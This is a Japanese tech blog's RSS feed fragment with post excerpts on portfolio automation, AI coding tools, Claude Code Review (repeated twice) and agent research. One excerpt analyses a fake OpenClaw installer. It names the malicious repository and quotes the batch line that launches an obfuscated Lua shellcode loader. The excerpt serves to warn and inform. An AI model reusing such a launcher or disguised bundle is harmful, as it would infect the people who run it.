&lt;pre tabindex="0"&gt;&lt;code&gt;Google スプレッドシート（マスターデータ）
↓ portfolio-sync（毎日 6:20）
portfolio.json ─→ interests.json
↓ ↓
株価アラート ニュース収集
決算通知 週次レポート
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;銘柄追加・削除時はスプレッドシートを更新するだけで、下流の全システム（ニュース収集、アラート、レポート）に自動反映されます。&lt;/p&gt;
&lt;h2 id="cron-ジョブ一覧"&gt;cron ジョブ一覧&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;時刻&lt;/th&gt;
&lt;th&gt;ジョブ&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;6:20&lt;/td&gt;
&lt;td&gt;portfolio-sync&lt;/td&gt;
&lt;td&gt;スプレッドシート → portfolio.json 同期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;毎時:30&lt;/td&gt;
&lt;td&gt;news-auto-collect&lt;/td&gt;
&lt;td&gt;保有銘柄関連ニュースを自動収集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7:00&lt;/td&gt;
&lt;td&gt;morning-start&lt;/td&gt;
&lt;td&gt;翌日決算があれば通知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:00&lt;/td&gt;
&lt;td&gt;portfolio-alert-am&lt;/td&gt;
&lt;td&gt;3%以上変動でアラート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14:30&lt;/td&gt;
&lt;td&gt;portfolio-alert-pm&lt;/td&gt;
&lt;td&gt;3%以上変動でアラート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17:00&lt;/td&gt;
&lt;td&gt;earnings-report&lt;/td&gt;
&lt;td&gt;当日決算発表の結果報告&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;土曜 10:00&lt;/td&gt;
&lt;td&gt;weekly-portfolio-image&lt;/td&gt;
&lt;td&gt;週次損益レポート画像&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="実装パターン"&gt;実装パターン&lt;/h2&gt;
&lt;h3 id="1-マスターデータ管理"&gt;1. マスターデータ管理&lt;/h3&gt;
&lt;p&gt;Google スプレッドシートに以下のカラムを用意します。&lt;/p&gt;</description></item><item><title>GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</guid><description>&lt;p&gt;GitHub 上で OpenClaw の便利ツールを装った不審なリポジトリが発見され、実際に解析したところマルウェア（シェルコードローダー）であることが判明した。ひよっこサウナ氏（&lt;a href="https://zenn.dev/hiyoko_sauna"&gt;@hiyoko_sauna&lt;/a&gt;）による詳細な解析レポートを基に、この攻撃手法の全体像を紹介する。&lt;/p&gt;
&lt;h2 id="対象リポジトリの特徴"&gt;対象リポジトリの特徴&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;github.com/sdwadsagw/OpenClawInstaller&lt;/code&gt; という、「Open Claw を簡単にインストールできるツール」として公開されていたリポジトリが対象だ。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;アカウント作成日&lt;/td&gt;
&lt;td&gt;2026-02-11（リポジトリと同日作成）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Star / Fork&lt;/td&gt;
&lt;td&gt;2 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;説明文&lt;/td&gt;
&lt;td&gt;「AI assistant for Open Claw」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;使い捨てアカウント（リポジトリと同日作成）という時点で怪しさ満点だ。&lt;/p&gt;
&lt;h2 id="zip-の中身"&gt;ZIP の中身&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Claw-Installer-Open-2.8-alpha.3.zip&lt;/code&gt; を展開すると 4 ファイルが入っていた。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;サイズ&lt;/th&gt;
&lt;th&gt;VT 検出率&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;StartApp.bat&lt;/td&gt;
&lt;td&gt;22 bytes&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;start luau.exe asm.txt&lt;/code&gt; を実行するだけ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;luau.exe&lt;/td&gt;
&lt;td&gt;288,768 bytes&lt;/td&gt;
&lt;td&gt;25/76&lt;/td&gt;
&lt;td&gt;LuaJIT 2.1.0-beta3（正規バイナリ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lua51.dll&lt;/td&gt;
&lt;td&gt;390,144 bytes&lt;/td&gt;
&lt;td&gt;1/75&lt;/td&gt;
&lt;td&gt;LuaJIT 用ランタイム DLL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;asm.txt&lt;/td&gt;
&lt;td&gt;309,298 bytes&lt;/td&gt;
&lt;td&gt;0/76&lt;/td&gt;
&lt;td&gt;難読化された Lua スクリプト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは &lt;strong&gt;asm.txt の検出率が 0/76&lt;/strong&gt; という点だ。悪意のあるコードは asm.txt に書かれているのに検出されず、無害な luau.exe の方が検出されるという逆転現象が起きている。&lt;/p&gt;</description></item><item><title>VS Code AI コーディングアシスタントのインストール数推移：GitHub Copilot の急落と競合の台頭</title><link>https://hdknr.github.io/blogs/posts/2026/03/vs-code-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A2%E3%82%B7%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%88%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%95%B0%E6%8E%A8%E7%A7%BBgithub-copilot-%E3%81%AE%E6%80%A5%E8%90%BD%E3%81%A8%E7%AB%B6%E5%90%88%E3%81%AE%E5%8F%B0%E9%A0%AD/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vs-code-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A2%E3%82%B7%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%88%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%95%B0%E6%8E%A8%E7%A7%BBgithub-copilot-%E3%81%AE%E6%80%A5%E8%90%BD%E3%81%A8%E7%AB%B6%E5%90%88%E3%81%AE%E5%8F%B0%E9%A0%AD/</guid><description>&lt;p&gt;VS Code マーケットプレイスにおける AI コーディングアシスタントの日次インストール数を示すグラフが話題になっている。GitHub Copilot のインストール数が急激に落ち込む「崖」が鮮明に表れており、SaaS 事業者やプロダクトマネージャーにとって示唆に富む内容だ。&lt;/p&gt;
&lt;h2 id="グラフが示すもの"&gt;グラフが示すもの&lt;/h2&gt;
&lt;p&gt;「Daily Install Counts of AI Coding Assistants in Visual Studio Code」と題されたグラフには、以下の 3 つの AI コーディングアシスタントの日次インストール数（30日移動平均）が描かれている。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot&lt;/strong&gt;（オレンジ）：2021年末から着実に成長し、2025年後半には日次 150,000 インストール近くまで到達。しかし 2026年に入って急落し、現在は 60,000 前後まで落ち込んでいる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;（シアン）：2025年後半に登場し、直近で急速に伸長。日次 60,000 近くまで上昇&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenAI Codex&lt;/strong&gt;（イエロー）：同じく直近で伸びを見せているが、Claude Code よりやや控えめ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注目すべきは、GitHub Copilot のインストール数がピークから半分以下に急落している点だ。この「崖」は、競合の台頭と GitHub Copilot 自体の変化の両方が要因と考えられる。&lt;/p&gt;
&lt;h2 id="急落の背景"&gt;急落の背景&lt;/h2&gt;
&lt;h3 id="github-copilot-の課金モデル変更"&gt;GitHub Copilot の課金モデル変更&lt;/h3&gt;
&lt;p&gt;GitHub Copilot は 2024年12月に無料ティアを導入し、月 2,000 回のコード補完と 50 回のチャットリクエストという制限付きで提供を開始した。同時に、有料プランの価格体系も複雑化している。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Free&lt;/strong&gt;：月 2,000 補完 / 50 チャット&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro&lt;/strong&gt;：$10/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro+&lt;/strong&gt;：$39/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business&lt;/strong&gt;：$19/ユーザー/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;：$39/ユーザー/月&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;無料ティアの導入は新規ユーザー獲得を狙った施策だが、既存の有料ユーザーが無料枠で十分と判断して解約するケースもあり得る。また、Microsoft は従来の IntelliCode を廃止し、AI 支援を Copilot に一本化する戦略を取っている。&lt;/p&gt;</description></item><item><title>Claude Code Review — エージェントチームが PR のバグを狩る新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が Claude Code の新機能「Code Review」を発表した。PR が開かれると、&lt;strong&gt;複数のエージェントがチームとして並列にコードレビューを実行&lt;/strong&gt;し、人間が見落としがちなバグを検出する。開発者の Boris Cherny 氏（&lt;a href="https://x.com/bcherny"&gt;@bcherny&lt;/a&gt;）は「数週間使って、自分では気づかなかった本物のバグを何度も見つけてくれた」と&lt;a href="https://x.com/bcherny/status/2031089411820228645"&gt;報告している&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;PR がオープンされると、Code Review は以下のステップを実行する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エージェントチームの派遣&lt;/strong&gt; — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証フェーズ&lt;/strong&gt; — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深刻度ランキング&lt;/strong&gt; — 検出された問題を重要度順に並べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビューコメント投稿&lt;/strong&gt; — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。&lt;/p&gt;
&lt;h2 id="検出精度"&gt;検出精度&lt;/h2&gt;
&lt;p&gt;Anthropic 社内でのテスト結果:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR サイズ&lt;/th&gt;
&lt;th&gt;指摘ありの割合&lt;/th&gt;
&lt;th&gt;平均指摘数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;大規模（1,000行以上）&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;7.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小規模（50行未満）&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;td&gt;0.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特筆すべきは&lt;strong&gt;誤検出率が 1% 未満&lt;/strong&gt;という点だ。エンジニアが「この指摘は間違い」と判定したケースがほとんどなく、検証フェーズによる偽陽性フィルタリングが効果的に機能していることを示している。&lt;/p&gt;
&lt;h2 id="なぜ必要なのか"&gt;なぜ必要なのか&lt;/h2&gt;
&lt;p&gt;Cherny 氏によれば、Anthropic のエンジニア一人あたりのコード出力は 2026 年に入って &lt;strong&gt;200% 増加&lt;/strong&gt;した。AI コーディングエージェントによってコード生成が加速する一方で、&lt;strong&gt;レビューがボトルネック&lt;/strong&gt;になっていた。人間のレビュアーが処理できる量には限界があり、AI が書いたコードも人間が書いたコードも、同じ品質基準でレビューする必要がある。&lt;/p&gt;
&lt;p&gt;Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。&lt;/p&gt;
&lt;h2 id="利用条件"&gt;利用条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象プラン&lt;/strong&gt;: Team / Enterprise（Research Preview）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;料金&lt;/strong&gt;: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビュー時間&lt;/strong&gt;: 約 20 分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セットアップ&lt;/strong&gt;: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。&lt;/p&gt;</description></item><item><title>Claude Code Review — エージェントチームが PR のバグを狩る新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が Claude Code の新機能「Code Review」を発表した。PR が開かれると、&lt;strong&gt;複数のエージェントがチームとして並列にコードレビューを実行&lt;/strong&gt;し、人間が見落としがちなバグを検出する。開発者の Boris Cherny 氏（&lt;a href="https://x.com/bcherny"&gt;@bcherny&lt;/a&gt;）は「数週間使って、自分では気づかなかった本物のバグを何度も見つけてくれた」と&lt;a href="https://x.com/bcherny/status/2031089411820228645"&gt;報告している&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;PR がオープンされると、Code Review は以下のステップを実行する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エージェントチームの派遣&lt;/strong&gt; — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証フェーズ&lt;/strong&gt; — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深刻度ランキング&lt;/strong&gt; — 検出された問題を重要度順に並べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビューコメント投稿&lt;/strong&gt; — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。&lt;/p&gt;
&lt;h2 id="検出精度"&gt;検出精度&lt;/h2&gt;
&lt;p&gt;Anthropic 社内でのテスト結果:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR サイズ&lt;/th&gt;
&lt;th&gt;指摘ありの割合&lt;/th&gt;
&lt;th&gt;平均指摘数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;大規模（1,000行以上）&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;7.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小規模（50行未満）&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;td&gt;0.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特筆すべきは&lt;strong&gt;誤検出率が 1% 未満&lt;/strong&gt;という点だ。エンジニアが「この指摘は間違い」と判定したケースがほとんどなく、検証フェーズによる偽陽性フィルタリングが効果的に機能していることを示している。&lt;/p&gt;
&lt;h2 id="なぜ必要なのか"&gt;なぜ必要なのか&lt;/h2&gt;
&lt;p&gt;Cherny 氏によれば、Anthropic のエンジニア一人あたりのコード出力は 2026 年に入って &lt;strong&gt;200% 増加&lt;/strong&gt;した。AI コーディングエージェントによってコード生成が加速する一方で、&lt;strong&gt;レビューがボトルネック&lt;/strong&gt;になっていた。人間のレビュアーが処理できる量には限界があり、AI が書いたコードも人間が書いたコードも、同じ品質基準でレビューする必要がある。&lt;/p&gt;
&lt;p&gt;Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。&lt;/p&gt;
&lt;h2 id="利用条件"&gt;利用条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象プラン&lt;/strong&gt;: Team / Enterprise（Research Preview）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;料金&lt;/strong&gt;: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビュー時間&lt;/strong&gt;: 約 20 分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セットアップ&lt;/strong&gt;: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。&lt;/p&gt;</description></item><item><title>MiroFish — 20歳の学生が10日間の Vibe Coding で作った AI 未来予測エンジンが GitHub Trending 1位に</title><link>https://hdknr.github.io/blogs/posts/2026/03/mirofish-20%E6%AD%B3%E3%81%AE%E5%AD%A6%E7%94%9F%E3%81%8C10%E6%97%A5%E9%96%93%E3%81%AE-vibe-coding-%E3%81%A7%E4%BD%9C%E3%81%A3%E3%81%9F-ai-%E6%9C%AA%E6%9D%A5%E4%BA%88%E6%B8%AC%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C-github-trending-1%E4%BD%8D%E3%81%AB/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mirofish-20%E6%AD%B3%E3%81%AE%E5%AD%A6%E7%94%9F%E3%81%8C10%E6%97%A5%E9%96%93%E3%81%AE-vibe-coding-%E3%81%A7%E4%BD%9C%E3%81%A3%E3%81%9F-ai-%E6%9C%AA%E6%9D%A5%E4%BA%88%E6%B8%AC%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C-github-trending-1%E4%BD%8D%E3%81%AB/</guid><description>&lt;p&gt;20歳の中国の大学4年生・郭航江（Guo Hangjiang）氏が、わずか10日間の Vibe Coding で開発した OSS「MiroFish」が GitHub Trending で3日連続1位を獲得し、Star 数は約 11,000 を超えて急増中です。さらに、盛大グループ創業者の陳天橋氏がデモを見て24時間以内に3,000万元（約6.9億円）の即決投資を行ったと報じられています。&lt;/p&gt;
&lt;h2 id="mirofish-とは"&gt;MiroFish とは&lt;/h2&gt;
&lt;p&gt;MiroFish は、マルチエージェント技術を活用した次世代の AI 予測エンジンです。ニュース・政策・金融データなどのテキストを投入すると、AI が数千の人格を持つエージェントを生成し、エージェント同士が相互作用することで未来の社会・市場の動きをシミュレートします。&lt;/p&gt;
&lt;p&gt;公式の説明では「A Simple and Universal Swarm Intelligence Engine, Predicting Anything（簡潔で汎用的な群体知能エンジン、万物を予測）」とされています。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;MiroFish の動作は以下のステップで構成されます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;シード情報の抽出&lt;/strong&gt; — ニュース速報、政策草案、金融シグナルなどの現実世界のデータを取り込む&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デジタルワールドの構築&lt;/strong&gt; — 取り込んだ情報から高忠実度な並行デジタル世界を自動構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェントの生成&lt;/strong&gt; — 独立した人格、長期記憶、行動ロジックを持つ数千〜数万のエージェントを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会進化シミュレーション&lt;/strong&gt; — エージェント同士が自由に相互作用し、社会的進化を遂げる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;変数注入と予測&lt;/strong&gt; — ユーザーが動的に変数を注入し、未来がどう展開するかの精密なシミュレーションを実行&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="想定される活用シナリオ"&gt;想定される活用シナリオ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;金融意思決定支援&lt;/strong&gt; — 市場動向の予測と投資判断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;政策・世論予測&lt;/strong&gt; — 政策変更がもたらす社会的影響の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR 危機シミュレーション&lt;/strong&gt; — 企業の危機管理対応の事前検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マーケティング戦略テスト&lt;/strong&gt; — キャンペーン効果の事前予測&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ストーリー・フィクション推演&lt;/strong&gt; — 物語の展開シミュレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学術研究支援&lt;/strong&gt; — 社会科学的仮説の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="vibe-coding-で10日間"&gt;Vibe Coding で10日間&lt;/h2&gt;
&lt;p&gt;注目すべきは、MiroFish が Claude Code などの AI コーディングツールを活用した「Vibe Coding」で開発されたという点です。Vibe Coding とは、AI エージェントと対話しながら直感的にコードを生成していく開発手法で、従来の開発と比較して大幅な時間短縮が可能です。&lt;/p&gt;</description></item><item><title>「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</guid><description>&lt;p&gt;Andrej Karpathy が &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; を公開した直後、さらに踏み込んだビジョンを&lt;a href="https://x.com/karpathy/status/2030705271627284816"&gt;示した&lt;/a&gt;。「次のステップは、エージェント同士が非同期かつ大規模に協調する仕組みだ」— 単一エージェントの能力向上ではなく、&lt;strong&gt;エージェント群の協調システム設計&lt;/strong&gt;こそが本質だという主張だ。&lt;/p&gt;
&lt;h2 id="一人の博士課程ではなく研究コミュニティを"&gt;「一人の博士課程ではなく、研究コミュニティを」&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal is not to emulate a single PhD student, it&amp;rsquo;s to emulate a research community of them.
（目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;現在の autoresearch はコミットを同期的に一本のスレッドで積み上げていく設計だ。だが Karpathy が構想するのは、リポジトリを「種」として無数のエージェントがそこから枝分かれし、異なる研究方向に並列で進んでいく世界だ。SETI@home のような分散コンピューティングモデルを研究に適用するイメージだと言える。&lt;/p&gt;
&lt;h2 id="技術的な課題"&gt;技術的な課題&lt;/h2&gt;
&lt;p&gt;この構想が実現するには、いくつかのハードルがある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散タスクシャーディング&lt;/strong&gt; — 実験をどう分割して割り当てるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果の重複排除&lt;/strong&gt; — 同じ仮説を複数エージェントが試す無駄をどう防ぐか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスエージェントメモリ&lt;/strong&gt; — あるエージェントの発見を他のエージェントが活用できる仕組み&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git の限界&lt;/strong&gt; — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。&lt;/p&gt;
&lt;h2 id="一つを賢くするから場の設計へ"&gt;「一つを賢くする」から「場の設計」へ&lt;/h2&gt;
&lt;p&gt;IT navi 氏（&lt;a href="https://x.com/itnavi2022"&gt;@itnavi2022&lt;/a&gt;）は、この動きを端的に&lt;a href="https://x.com/itnavi2022/status/2031015950783516715"&gt;こう要約している&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
